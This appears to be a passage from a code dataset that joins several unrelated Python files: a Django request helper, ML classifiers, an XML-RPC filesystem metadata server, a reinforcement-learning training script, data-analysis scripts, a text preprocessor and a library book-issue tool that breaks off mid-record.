{\"SERVER_NAME\": settings.ALLOWED_HOSTS[0], \"SERVER_PORT\": 443}\n return request\n\n\ndef get_post_request(post_params: Dict[str, Any]) -> HttpRequest:\n request = get_generic_request()\n request.method = \"POST\"\n request.POST = post_params\n return request\n","sub_path":"django/helpers/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"472747270","text":"import lightgbm as lgb\nfrom sklearn.model_selection import StratifiedKFold\nimport numpy as np\nfrom dataset_classic import Dataset\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.svm import SVC\n\n\nclass Model:\n\n def __init__(self, X, y, test, K=5):\n self.X, self.y, self.test, self.predict_y = X, y, test, np.zeros(test.shape[0])\n self.K = K\n self.skf = StratifiedKFold(n_splits=K, shuffle=True)\n self.count = 0\n\n def lgbm(self):\n self.count += 1\n lgbparam = {\"objective\": \"binary\", \"metric\": \"auc\", \"boosting\": 'gbdt', \"max_depth\": -1, \"num_leaves\": 80,\n \"learning_rate\": 0.1, \"bagging_freq\": 5, \"bagging_fraction\": 0.8, \"feature_fraction\": 1,\n \"min_data_in_leaf\": 3, \"tree_learner\": \"serial\", \"boost_from_average\": \"false\", \"verbosity\": 1}\n for fold, (trn_idx, val_idx) in enumerate(self.skf.split(self.X, self.y)):\n X_train, y_train = self.X[trn_idx, :], self.y[trn_idx]\n X_val, y_val = self.X[val_idx, :], self.y[val_idx]\n\n dtrain = lgb.Dataset(X_train, label=y_train)\n dval = lgb.Dataset(X_val, label=y_val, reference=dtrain)\n\n print('Start training...')\n model = lgb.train(lgbparam, dtrain, num_boost_round=50000, valid_sets=dval, early_stopping_rounds=500,\n verbose_eval=2500)\n\n print('Training done, exit. Start predicting...')\n self.predict_y += model.predict(self.test)[:, 1]/self.K\n\n def lrm(self):\n self.count += 1\n for fold, (trn_idx, val_idx) in enumerate(self.skf.split(self.X, self.y)):\n X_train, y_train = self.X[trn_idx, :], self.y[trn_idx]\n X_val, y_val = self.X[val_idx, :], self.y[val_idx]\n\n model = LogisticRegression(random_state=0, solver='lbfgs', multi_class='multinomial', C=0.1, max_iter=100000)\n print('Start training Logistic regression...')\n model.fit(X_train, y_train)\n print(\"\\n**************Validation results****************\")\n print('AUC_avg: {:.3f}'.format(roc_auc_score(y_val, model.predict_proba(X_val)[:, 1])))\n print(\"************************************************\\n\")\n print('Training done, exit. Start predicting...')\n self.predict_y += model.predict_proba(self.test)[:, 1] / self.K\n\n def nbm(self):\n self.count += 1\n for fold, (trn_idx, val_idx) in enumerate(self.skf.split(self.X, self.y)):\n X_train, y_train = self.X[trn_idx, :], self.y[trn_idx]\n X_val, y_val = self.X[val_idx, :], self.y[val_idx]\n\n model = GaussianNB()\n print('Start training naive bayes...')\n model.fit(X_train, y_train)\n print(\"\\n**************Validation results****************\")\n print('AUC_avg: {:.3f}'.format(roc_auc_score(y_val, model.predict_proba(X_val)[:, 1])))\n print(\"************************************************\\n\")\n print('Training done, exit. Start predicting...')\n self.predict_y += model.predict_proba(self.test)[:, 1] / self.K\n\n def svmm(self):\n self.count += 1\n for fold, (trn_idx, val_idx) in enumerate(self.skf.split(self.X, self.y)):\n X_train, y_train = self.X[trn_idx, :], self.y[trn_idx]\n X_val, y_val = self.X[val_idx, :], self.y[val_idx]\n\n model = SVC(gamma='auto', probability=True)\n print('Start training SVM...')\n model.fit(X_train, y_train)\n print(\"\\n**************Validation results****************\")\n print('AUC_avg: {:.3f}'.format(roc_auc_score(y_val, model.predict_proba(X_val)[:, 1])))\n print(\"************************************************\\n\")\n print('Training done, exit. Start predicting...')\n self.predict_y += model.predict_proba(self.test)[:, 1] / self.K\n\n\nif __name__ == \"__main__\":\n data = Dataset()\n mlmodel = Model(data.X, data.y, data.test)\n mlmodel.lrm()\n","sub_path":"model_classic.py","file_name":"model_classic.py","file_ext":"py","file_size_in_byte":4123,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"523203984","text":"import os\nimport logging\nimport argparse\nfrom time import time\nfrom sys import argv, exit\n\nfrom fuse import FuseOSError\nfrom errno import ENOENT, ENOTEMPTY\nfrom stat import S_IFDIR, S_IFLNK, S_IFREG\n\nimport xmlrpclib\nimport SimpleXMLRPCServer\n\n\nclass MetaServerInstance(object):\n def __init__(self, dsip='localhost', dsport=3322):\n # Client for the dataserver (required to get length given path)\n self._ds = xmlrpclib.ServerProxy('http://{}:{}'.format(dsip, dsport))\n\n self.files = {}\n now = time()\n self.files['/'] = dict(st_mode=(S_IFDIR | 0o755), st_ctime=now,\n st_mtime=now, st_atime=now, st_nlink=2)\n\n def chmod(self, path, mode):\n self.files[path]['st_mode'] &= 0o770000\n self.files[path]['st_mode'] |= mode\n return 0\n\n def chown(self, path, uid, gid):\n self.files[path]['st_uid'] = uid\n self.files[path]['st_gid'] = gid\n\n\n def create(self, path, mode):\n self.files[path] = dict(st_mode=(S_IFREG | mode), st_nlink=1,\n st_size=0, st_ctime=time(), st_mtime=time(),\n st_atime=time())\n self.files[os.path.dirname(path)]['st_size'] \\\n = self._ds._get_len(os.path.dirname(path))\n\n def getattr(self, path, fh=None):\n if path not in self.files:\n raise FuseOSError(ENOENT)\n\n return self.files[path]\n\n def getxattr(self, path, name, position=0):\n attrs = self.files[path].get('attrs', {})\n\n try:\n return attrs[name]\n except KeyError:\n return '' # Should return ENOATTR\n\n def listxattr(self, path):\n attrs = self.files[path].get('attrs', {})\n return attrs.keys()\n\n def mkdir(self, path, mode):\n self.files[path] = dict(st_mode=(S_IFDIR | mode), st_nlink=2,\n st_size=0, st_ctime=time(), st_mtime=time(),\n st_atime=time())\n\n par_dirname = os.path.dirname(path)\n # VERY IMPORTANT: this assumes that data on dataserver was updated already\n # Therefore, clients should ensure that they update dataserver before\n # attempting to update the metaserver\n # Please also note that we could've easily calculated this as:\n # st_size += len(os.path.basename(path))\n # This however involves duplicating logic for calculating directory\n # size from dataserver and can lead to all sorts of inconsistencies\n # and bugs if code for both is not in sync. An rpc is worth the cost.\n self.files[par_dirname]['st_size'] = self._ds._get_len(par_dirname)\n\n # increment st_link for parent because of \"..\"\n self.files[os.path.dirname(path)]['st_nlink'] += 1\n\n def removexattr(self, path, name):\n attrs = self.files[path].get('attrs', {})\n\n try:\n del attrs[name]\n except KeyError:\n pass # Should return ENOATTR\n\n def rename(self, old, new):\n self.files[new] = self.files.pop(old)\n\n # Crude implementation linear in number of files to handle change in\n # directory names (since we are not required to add the inode layer\n # at this stage)\n if self.files[new]['st_mode'] & S_IFDIR:\n for fname in self.files:\n # Only change subdirectories and files in old or in\n # subdirectories of old\n if fname.startswith(old+'/'):\n new_fname = fname.replace(old, new, 1)\n self.files[new_fname] = self.files.pop(fname)\n\n # VERY IMPORTANT: As always, calls to metaserver should be followed by\n # calls to dataserver. This part assumes that the dataserver has\n # already done its job by this point.\n # Update size of the old parent\n self.files[os.path.dirname(old)]['st_size'] \\\n = self._ds._get_len(os.path.dirname(old))\n # Update size of the new parent\n self.files[os.path.dirname(new)]['st_size'] \\\n = self._ds._get_len(os.path.dirname(new))\n\n def rmdir(self, path):\n # IMPORTANT REMINDER!!!\n # Only empty directory can be deleted. But since the directory has\n # been deleted from the dataserver already, the call to check its\n # length will fail. WE ARE THUS **BLINDLY REMOVING METADATA** for this\n # directory assuming the client is a goodboy and has ensured that the\n # directory has been smoothly deleted from the dataserver. SIMILARLY,\n # THE CLIENT **MUST** ENSURE THAT METADATA DELETION IS REQUESTED ONLY\n # IF THE DATA WAS DELETED SUCCESSFULLY IN THE PREVIOUS CALL!!\n # This will fail with KeyError:\n # if not self._ds._get_len(path):\n # remove metadata\n self.files.pop(path)\n # decrement parent's ref count (comes from ..)\n self.files[os.path.dirname(path)]['st_nlink'] -= 1\n # update parent's size\n # see mkdir for some notes\n self.files[os.path.dirname(path)]['st_size'] \\\n = self._ds._get_len(os.path.dirname(path))\n\n def setxattr(self, path, name, value, options, position=0):\n # Ignore options\n attrs = self.files[path].setdefault('attrs', {})\n attrs[name] = value\n\n def symlink(self, target, source):\n self.files[target] = dict(st_mode=(S_IFLNK | 0o777), st_nlink=1,\n st_size=len(source))\n self.files[os.path.dirname(target)]['st_size'] \\\n = len(os.path.basename(target))\n\n\n def truncate(self, path, length, fh=None):\n # Get the updated value after dataserver performs the truncate\n # operation\n self.files[path]['st_size'] = self._ds._get_len(path)\n\n\n def unlink(self, path):\n # since our filesystem doesn't (yet) support hardlinks\n # (i.e., link() not implemented), we can just put the logic for\n # deleting symlinks here for now\n self.files.pop(path)\n self.files[os.path.dirname(path)]['st_size'] \\\n = self._ds._get_len(os.path.dirname(path))\n\n def utimens(self, path, times=None):\n now = time()\n atime, mtime = times if times else (now, now)\n self.files[path]['st_atime'] = atime\n self.files[path]['st_mtime'] = mtime\n\n def write(self, path, data, offset, fh):\n self.files[path]['st_size'] = self._ds._get_len(path)\n\n\nif __name__ == '__main__':\n \"\"\"\n arg_parser = argparse.ArgumentParser()\n arg_parser.add_argument('--port', type=int,\n help='port to run the metaserver on')\n args = arg_parser.parse_args()\n\n if not args.port:\n print 'Please specify port with the --port option'\n exit(1)\n \"\"\"\n if len(argv) != 2:\n print('usage: %s ' % argv[0])\n exit(1)\n\n logging.basicConfig(level=logging.DEBUG)\n\n msi = MetaServerInstance()\n\n ms = SimpleXMLRPCServer.SimpleXMLRPCServer(('localhost', int(argv[1])),\n allow_none=True)\n ms.register_function(msi.chmod)\n ms.register_function(msi.chown)\n ms.register_function(msi.create)\n ms.register_function(msi.getattr)\n ms.register_function(msi.getxattr)\n ms.register_function(msi.listxattr)\n ms.register_function(msi.mkdir)\n ms.register_function(msi.removexattr)\n ms.register_function(msi.rename)\n ms.register_function(msi.rmdir)\n ms.register_function(msi.setxattr)\n ms.register_function(msi.symlink)\n ms.register_function(msi.truncate)\n ms.register_function(msi.unlink)\n ms.register_function(msi.utimens)\n ms.register_function(msi.write)\n\n ms.serve_forever()\n","sub_path":"hw4/metaserver.py","file_name":"metaserver.py","file_ext":"py","file_size_in_byte":7687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"145298950","text":"\"\"\"\nBlank template with command line parsing and a logger\n\"\"\"\n\nUSAGE = \"\"\"usage: %prog [options]\n Blank template. Does nothing for now\"\"\"\n\nfrom optparse import OptionParser\nimport logging\n\n\ndef get_logger(debug_mode):\n # Get a logger for debug and error messages\n\n logger = logging.getLogger(\"AVG_MON_SPEND\")\n if debug_mode:\n log_level = logging.DEBUG\n else:\n log_level = logging.INFO\n logger.setLevel(log_level) \n # create console handler and set level to debug\n sh = logging.StreamHandler()\n # create formatter\n formatter = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s') \n # add formatter to ch\n sh.setFormatter(formatter)\n # add sh to logger\n logger.addHandler(sh)\n\n logger.debug(\"Starting\")\n return logger\n\n\n# set up the command line parse\nparser = OptionParser(usage=USAGE)\nparser.add_option(\"--debug\", default=False,\n help=\"Set the logging level to debug mode.\",\n action=\"store_true\", dest=\"debug\")\n(options, args) = parser.parse_args()\n\nlogger = get_logger(options.debug)\n\n\nlogger.debug(\"Done\")\n","sub_path":"basic_command_line.py","file_name":"basic_command_line.py","file_ext":"py","file_size_in_byte":1133,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"340785730","text":"import os\nimport gym\nfrom tensorboardX import SummaryWriter\nfrom easydict import EasyDict\n\nfrom ding.config import compile_config\nfrom ding.worker import BaseLearner, SampleSerialCollector, InteractionSerialEvaluator, AdvancedReplayBuffer\nfrom ding.envs import BaseEnvManager, DingEnvWrapper\nfrom ding.policy import DDPGPolicy\nfrom ding.model import QAC\nfrom ding.utils import set_pkg_seed\nfrom dizoo.classic_control.pendulum.envs import PendulumEnv\nfrom dizoo.mujoco.envs.mujoco_env import MujocoEnv\nfrom dizoo.classic_control.pendulum.config.pendulum_ppo_config import pendulum_ppo_config\nfrom dizoo.mujoco.config.hopper_ddpg_default_config import hopper_ddpg_default_config\n\n\ndef main(cfg, seed=0, max_iterations=int(1e10)):\n cfg = compile_config(\n cfg,\n BaseEnvManager,\n DDPGPolicy,\n BaseLearner,\n SampleSerialCollector,\n InteractionSerialEvaluator,\n AdvancedReplayBuffer,\n save_cfg=True\n )\n collector_env_num, evaluator_env_num = cfg.env.collector_env_num, cfg.env.evaluator_env_num\n collector_env = BaseEnvManager(\n env_fn=[lambda: MujocoEnv(cfg.env) for _ in range(collector_env_num)], cfg=cfg.env.manager\n )\n evaluator_env = BaseEnvManager(\n env_fn=[lambda: MujocoEnv(cfg.env) for _ in range(evaluator_env_num)], cfg=cfg.env.manager\n )\n\n collector_env.seed(seed, dynamic_seed=True)\n evaluator_env.seed(seed, dynamic_seed=False)\n set_pkg_seed(seed, use_cuda=cfg.policy.cuda)\n\n model = QAC(**cfg.policy.model)\n policy = DDPGPolicy(cfg.policy, model=model)\n tb_logger = SummaryWriter(os.path.join('./log/', 'serial'))\n learner = BaseLearner(cfg.policy.learn.learner, policy.learn_mode, tb_logger)\n collector = SampleSerialCollector(cfg.policy.collect.collector, collector_env, policy.collect_mode, tb_logger)\n evaluator = InteractionSerialEvaluator(cfg.policy.eval.evaluator, evaluator_env, policy.eval_mode, tb_logger)\n replay_buffer = AdvancedReplayBuffer(cfg.policy.other.replay_buffer, tb_logger, exp_name=cfg.exp_name)\n\n for _ in range(max_iterations):\n if evaluator.should_eval(learner.train_iter):\n stop, reward = evaluator.eval(learner.save_checkpoint, learner.train_iter, collector.envstep)\n if stop:\n break\n # Collect data from environments\n new_data = collector.collect(train_iter=learner.train_iter)\n replay_buffer.push(new_data, cur_collector_envstep=collector.envstep)\n # Train\n for i in range(cfg.policy.learn.update_per_collect):\n train_data = replay_buffer.sample(learner.policy.get_attribute('batch_size'), learner.train_iter)\n if train_data is None:\n break\n learner.train(train_data, collector.envstep)\n\n\nif __name__ == \"__main__\":\n main(hopper_ddpg_default_config)\n","sub_path":"dizoo/mujoco/entry/mujoco_ddpg_main.py","file_name":"mujoco_ddpg_main.py","file_ext":"py","file_size_in_byte":2852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"565107029","text":"import pdb\n\"\"\"\nCreated on Mon Aug 18 15:53:18 2014\n\n@author: rkp\n\nSegment drosophila flight patterns into two behavioral modes.\n\"\"\"\n\nimport pickle\nimport numpy as np\nimport matplotlib.pylab as plt\n\nimport model\n\n\nPOS_FILE = '/Users/rkp/Research/insect_flight/real_data/trajectories/processed/drosophila/position_clean_wind_0.4_odor_on_set_0.pickle'\nVEL_FILE = '/Users/rkp/Research/insect_flight/real_data/trajectories/processed/drosophila/ang_velocity_clean_wind_0.4_odor_on_set_0.pickle'\n\nORDER = 3\nNUM_MODES = 2\nPLOT_IDX = 1\n\nif __name__ == '__main__':\n with open(POS_FILE) as pf:\n P = pickle.load(pf)\n with open(VEL_FILE) as vf:\n V = pickle.load(vf)\n \n keys = V['data'].keys()[:20]\n P_ltd = [P['data'][k] for k in keys]\n V_ltd = [V['data'][k] for k in keys]\n A_ltd = [np.diff(np.concatenate([np.array([[0,0,0]]),V_ltd[ii]],0),axis=0)/.01 for ii in range(len(V_ltd))]\n \n # Make new model\n M = model.Model(3,ORDER,NUM_MODES)\n \n M.set_plot_opts(['plot_every','plot_idx'],[1,PLOT_IDX])\n M.set_prior(prior=None,which_prior='dynamics')\n M.set_prior(prior='Dirichlet',which_prior='transitions')\n M.learn_iter(A_ltd,nsteps=15,rho=1000)\n \n labels = M.cur_mode_seq[PLOT_IDX]\n labels[0] = labels[1]\n \n fig,ax = plt.subplots(2,1)\n ax[0].scatter(P_ltd[PLOT_IDX][:,0],P_ltd[PLOT_IDX][:,1],s=20,c=labels,lw=0)\n ax[1].scatter(P_ltd[PLOT_IDX][:,0],P_ltd[PLOT_IDX][:,2],s=20,c=labels,lw=0)","sub_path":"wind_tunnel/old/SVAR/segment_drosophila.py","file_name":"segment_drosophila.py","file_ext":"py","file_size_in_byte":1454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"25232629","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Sep 2 05:13:17 2017\n\n@author: NV\n\"\"\"\n\n\nParDir = r'../0029-'\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport os\nimport sys\nsys.path.append(os.pardir)\nimport modu_htn as htn\n\nplt.close('all')\n\nfnames = ('0052', '0053', '0054','0055')\n\n\n\ndata0List = []\ndata1List = []\ndata0refList = []\ndata1refList = []\n\nfor fname in fnames:\n npzfile = np.load(os.path.join(ParDir,fname+'_XY16_noise.tpmr.npz'))\n data0List.extend(npzfile['data0'])\n data1List.extend(npzfile['data1'])\n data0refList.extend(npzfile['data0ref'])\n data1refList.extend(npzfile['data1ref'])\n\n\n\nplt.figure()\nplt.subplot(211)\nplt.plot(data0List,'o')\nplt.plot(data1List,'o')\nfor i in range(len(fnames)):\n plt.axvline(x = (i+1)*50, color = 'r')\nplt.xlabel('Data number')\nplt.ylabel('Voltage (mV)')\n\nplt.subplot(212)\nplt.hist(data0List)\nplt.hist(data1List)\n\nplt.tight_layout()\n\nSB_L1 = np.array(data0List) -np.array(data0refList)\nSB_L2 = np.array(data1List) - np.array(data1refList)\n\nplt.figure()\nplt.hist(SB_L1)\nplt.hist(SB_L2)\n\n\n\n\n\n\n\nplt.figure()\nplt.subplot(211)\nplt.plot( SB_L1 - SB_L2 ,'o')\n\nplt.subplot(212)\nplt.hist(SB_L1 - SB_L2)\n\n\nplt.figure()\nplt.subplot(211)\nplt.plot(np.array(data0List)/np.array(data0refList) - (np.array(data1List)/np.array(data1refList)) ,'o')\n\nplt.subplot(212)\nplt.plot(np.array(data1List)/np.array(data1refList) ,'o')\n\n\ndata0stds = []\ndata1stds = []\nbox0 = []\nbox1 = []\n\nNumList = range(10,len(data0List))\ntimeList = []\nfor i in NumList:\n data0stds.append(np.std(data0List[0:i]))\n data1stds.append(np.std(data1List[0:i]))\n box0.append(np.std( np.array(data0List[0:i])/np.array(data0refList[0:i]) )) \n S_B_L1 = np.array(data0List[0:i]) - np.array(data0refList[0:i])\n S_B_L2 = np.array(data1List[0:i]) - np.array(data1refList[0:i]) \n box1.append(np.std( S_B_L1 - S_B_L2)) \n timeList.append(i * 10**-6)\n \n\n\n\n\nplt.figure()\nplt.plot( timeList, data0stds,'o')\nplt.plot( timeList, data1stds,'o')\nplt.plot( timeList, box0,'o')\nplt.plot( timeList, box1,'o')\nplt.plot( timeList, 0.04*(np.arange(10,len(data0List), dtype= np.float))**-1/2 , 'k-')\nplt.xlabel('Time')\n#plt.xlim(xmin = 0)\nplt.xscale('log')\nplt.yscale('log')\nplt.axis('tight')\nplt.tight_layout()\n","sub_path":"AnaTools/check_noise.py","file_name":"check_noise.py","file_ext":"py","file_size_in_byte":2231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"505070500","text":"from concurrent.futures import ThreadPoolExecutor\nfrom concurrent.futures import ProcessPoolExecutor\nimport time\nimport psutil\nimport random\n\n\ndef runScenario():\n d = dict()\n for i in range(0, 10000):\n rval = random.random()\n if rval in d:\n d[rval] += 1\n else:\n d[rval] = 1\n return len(d) \n\ndef runScenarioMultipleTimesSingleThread(taskId, numOfCycles):\n print('starting thread {}, numOfCycles is {}'.format(taskId, numOfCycles))\n \n sum = 0\n for i in range(numOfCycles):\n sum += runScenario()\n \n print('thread {} finished'.format(taskId))\n\n return sum\n\ndef modelAvg(numOfCycles, numThreads):\n\n pool = ProcessPoolExecutor(max_workers=numThreads)\n\n cyclesPerThread = int(numOfCycles / numThreads)\n numOfCycles = cyclesPerThread * numThreads\n\n futures = list()\n for i in range(numThreads):\n future = pool.submit(runScenarioMultipleTimesSingleThread, i, cyclesPerThread)\n futures.append(future)\n\n sum = 0\n for future in futures:\n sum += future.result()\n \n return sum / numOfCycles\n\n\ndef main():\n p = psutil.Process()\n print('cpus:{}, affinity{}'.format(psutil.cpu_count(), p.cpu_affinity() ))\n\n start = time.time()\n modelAvg( numOfCycles = 10000, numThreads = 8)\n end = time.time()\n\n print('simulation took {}'.format(end - start))\n\nif __name__ == '__main__':\n main()\n\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"193040563","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jun 22 09:52:01 2017\r\n\r\n@author: Jannek\r\n\r\nText preprocessing steps: \r\n 1. remove punctuations (keep sentences and line changes)\r\n 2. remove stop words (frequent and non-informative words)\r\n 3. lemmatizer (reduce each word into its basic form) - This is a highly non-trivial problem, particularly for Finnish!\r\n\r\n\"\"\"\r\nfrom pandas import DataFrame\r\nimport os\r\nimport numpy\r\nimport re\r\nimport nltk\r\nimport string\r\nimport fin_lemmatizer\r\n\r\n# all files in class-labelled folders\r\ndef preprocess_folder():\r\n \r\n \"\"\"\r\n DATA\r\n \"\"\"\r\n SOURCES=[\r\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbs_sport/football','FOOTBALL'),\r\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbs_sport/rugby','RUGBY') \r\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbc/business','BUSINESS'),\r\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbc/politics','POLITICS'),\r\n #('C:/Users/Jannek/Documents/git_repos/text_classification/data/bbc/tech','TECH') \r\n (r'/media/jannek/Data/JanneK/Documents/git_repos/text_classification/data/TALOUS','TALOUS'), \r\n (r'/media/jannek/Data/JanneK/Documents/git_repos/text_classification/data/TERVEYS','TERVEYS') \r\n\t\t#(r'D:/JanneK/Documents/git_repos/text_classification/data/TALOUS','TALOUS'), \r\n\t\t#(r'D:/JanneK/Documents/git_repos/text_classification/data/TERVEYS','TERVEYS') \r\n ]\r\n \r\n data = DataFrame({'text': [], 'mylabel': []})\r\n for path, classification in SOURCES:\r\n data = data.append(build_data_frame(path, classification))\r\n \r\n data = normalize_corpus(data)\r\n \r\n data = data.reindex(numpy.random.permutation(data.index))\r\n \r\n labels = data.mylabel.unique()\r\n counts=[-1]*len(labels)\r\n for i in range(len(counts)):\r\n counts[i]=len(data[data.mylabel==labels[i]])\r\n \r\n M=min(counts)\r\n for i in range(len(counts)):\r\n ind=data[data.mylabel==labels[i]].index\r\n data=data.drop(ind[M:])\r\n \r\n print('\\n-- Total',len(counts),'labels with',M,'samples each')\r\n \r\n #data = shuffle(data)\r\n \r\n return data\r\n\r\n# file with given label\r\ndef preprocess_file(file,label):\r\n data = DataFrame({'text': [], 'mylabel': []})\r\n\r\n data = data.append(build_data_frame(file,label))\r\n \r\n data = normalize_corpus(data)\r\n \r\n data = data.reindex(numpy.random.permutation(data.index)) # randomize\r\n \r\n labels = data.mylabel.unique()\r\n counts=[-1]*len(labels)\r\n for i in range(len(counts)):\r\n counts[i]=len(data[data.mylabel==labels[i]])\r\n \r\n M=min(counts)\r\n for i in range(len(counts)):\r\n ind=data[data.mylabel==labels[i]].index\r\n data=data.drop(ind[M:])\r\n \r\n print('\\n-- Total',len(counts),'labels with',M,'samples each')\r\n \r\n\r\ndef normalize_corpus(corpus):\r\n \r\n normalized_corpus = corpus.copy() \r\n for i,val in normalized_corpus.iterrows():\r\n text = val['text']\r\n text = remove_special_characters(text)\r\n #text = remove_stopwords(text)\r\n #text = stemmer(text) \r\n normalized_corpus.set_value(i,'text',text)\r\n \r\n return normalized_corpus\r\n\r\ndef read_files(path):\r\n for root, dir_names, file_names in os.walk(path):\r\n for path in dir_names:\r\n read_files(os.path.join(root, path))\r\n for file_name in file_names:\r\n file_path = os.path.join(root, file_name)\r\n if os.path.isfile(file_path):\r\n past_header, lines = False, []\r\n f = open(file_path, encoding='utf-8')\r\n for line in f:\r\n if past_header and len(line)>0 and line is not '\\n':\r\n line=line.rstrip()\r\n lines.append(line)\r\n else:\r\n past_header = True \r\n f.close()\r\n content = ' '.join(lines)\r\n yield file_path, content\r\n\r\n\r\ndef build_data_frame(path, classification):\r\n rows = []\r\n index = []\r\n for file_name, text in read_files(path):\r\n if len(text)>=1000:\r\n rows.append({'text': text, 'mylabel': classification})\r\n index.append(file_name)\r\n if len(rows)<50:\r\n raise('ERROR: less than 50 samples!')\r\n data_frame = DataFrame(rows, index=index)\r\n return data_frame\r\n\r\ndef shuffle(df, n=1, axis=0): \r\n print('\\n\\n!!!!! WARNING: shuffling data for testing purposes !!!!!\\n')\r\n df = df.copy()\r\n for _ in range(n):\r\n df.apply(numpy.random.shuffle, axis=axis)\r\n return df\r\n\r\n \r\ndef tokenize_text(text,skip=0): \r\n translate_table = dict((ord(char), ' ') for char in string.punctuation) \r\n \r\n if skip==0:\r\n text = text.lower()\r\n #remove the punctuation using the character deletion step of translate\r\n #text = text.translate(translate_table) \r\n #tokens = text.split(' ')\r\n tokens = text.split(' ')\r\n tokens = [token.strip() for token in tokens] \r\n return tokens \r\n\r\ndef remove_special_characters(text):\r\n tokens = tokenize_text(text)\r\n punc = string.punctuation\r\n #punc=punc.replace('.','')\r\n #punc=punc.replace('?','')\r\n #punc=punc.replace('!','')\r\n pattern = re.compile('[{}]'.format(re.escape(punc)))\r\n filtered_tokens = filter(None, [pattern.sub('', token) for token in tokens])\r\n filtered_text = ' '.join(filtered_tokens)\r\n return filtered_text\r\n \r\ndef remove_stopwords(text):\r\n stopword_list = nltk.corpus.stopwords.words('finnish')\r\n \r\n tokens = tokenize_text(text)\r\n filtered_tokens = [token for token in tokens if token not in stopword_list]\r\n filtered_text = ' '.join(filtered_tokens) \r\n return filtered_text \r\n\r\ndef lemmer(text): \r\n return fin_lemmatizer.lemmatize(text)\r\n\r\n\r\n","sub_path":"stage1_models/get_my_data.py","file_name":"get_my_data.py","file_ext":"py","file_size_in_byte":5955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"255154049","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 14 08:51:44 2020\n\n@author: kandarpsolanki\n\"\"\"\n\nimport pickle\nimport datetime\n\nyear_dict={1:'January',2:'February',3:'March',4:'April',5:'May',6:'June',7:'July',8:'August',9:'September',10:'October',11:'November',12:'December'}\n#Adding records\ndef addrec():\n try:\n open_bin=open('dbms','rb') # Regular use\n add_temp=pickle.load(open_bin)\n open_bin.close()\n except:\n open_bin=open('dbms','wb') # If initialising for 1st time\n lst=[]\n pickle.dump(lst,open_bin)\n open_bin.close()\n open_bin=open('dbms','rb')\n add_temp=pickle.load(open_bin)\n open_bin.close()\n open_bin=open('dbms','wb')\n try:\n stu_name=str(input('Enter student name: '))\n stu_roll=int(input('Enter unique examination seat number: '))\n stu_isbn=str(input('Enter ISBN number: '))\n stu_book=(input('Enter Book Name: '))\n except:\n pickle.dump(add_temp,open_bin)\n stu_dateissue=datetime.date.today()\n stu_datedue=datetime.date.today()+datetime.timedelta(days=7)\n stu_name+=' '\n book_count=1\n isbn_count=1\n book_count2=0\n condition='match'\n temp_check=stu_name.partition(' ')\n #use below lines with '#' after every students record is once added.\n try:\n for i in add_temp:\n if i[1]== stu_roll and i[0]==stu_name:\n condition='match'\n book_count+=1\n if book_count>2:\n break\n else:\n pass\n else:\n condition='mismatch'\n for i in add_temp:\n if i[2] == stu_isbn:\n isbn_count+=1\n curr_rolls=[]\n for i in add_temp:\n curr_rolls.append(i[1])\n if stu_roll not in curr_rolls:\n condition='match'\n book_count2+=1\n \n if (temp_check[0].isalpha() == True and book_count<=2 and isbn_count==1 and condition=='match') or (temp_check[0].isalpha() == True and book_count2==1 and isbn_count==1 and condition=='match') :\n lst_temp=[stu_name,stu_roll,stu_isbn,stu_book,stu_dateissue,stu_datedue]\n add_temp.append(lst_temp)\n pickle.dump(add_temp,open_bin)\n print('Record added successfully.')\n elif book_count>2:\n print('No more books before return!! Student has already issued 2 books as follows:')\n info3(add_temp,stu_roll,1)\n pickle.dump(add_temp,open_bin)\n elif isbn_count>1:\n print('The book with ISBN number \\'',stu_isbn,'\\' already issued by:')\n info3(add_temp,stu_isbn,2)\n pickle.dump(add_temp,open_bin)\n elif condition=='mismatch':\n print('Details( Name & Unique ID ) don\\'t match !!')\n pickle.dump(add_temp,open_bin)\n else:\n print('Data entries are of wrong format.')\n pickle.dump(add_temp,open_bin)\n except:\n pass\n open_bin.close()\n \n#Searching for a record\ndef searchrec():\n open_bin=open('dbms','rb')\n print('\\nNOTE: This software is case sensitive. For best results use \\'E\\' or \\'I\\' option.')\n usersearch=str(input('\\nSearch By: Name(N)/Examination SeatNo.(E)/Due-Date(D)/ISBN No.(I) : '))\n record=pickle.load(open_bin)\n if record==[]:\n usersearch='invalid'\n if usersearch.upper()=='N':\n user_find=str(input('\\nEnter name of student: '))\n count=0\n stud_count=0\n datetoday=datetime.date.today()\n for i in record:\n if user_find in i[0] and i[5]',i[0],'\\n+-------------------+','\\n| Exam Seat No. |-->',i[1],'\\n+-------------------+','\\n| ISBN No. |-->',i[2],'\\n+-------------------+','\\n| Book Name |-->',i[3],'\\n+-------------------+','\\n| Issue Date |-->',i[4],'\\n+-------------------+','\\n| Due Date(Overdue) |-->',i[5])\n print('+-------------------+')\n stud_count+=1\n elif user_find in i[0] and i[5]>=datetoday:\n print('+-------------------+')\n print('| Name 